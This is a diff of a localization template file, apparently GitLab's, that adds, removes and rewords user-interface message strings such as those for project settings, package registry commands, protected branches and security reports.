@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
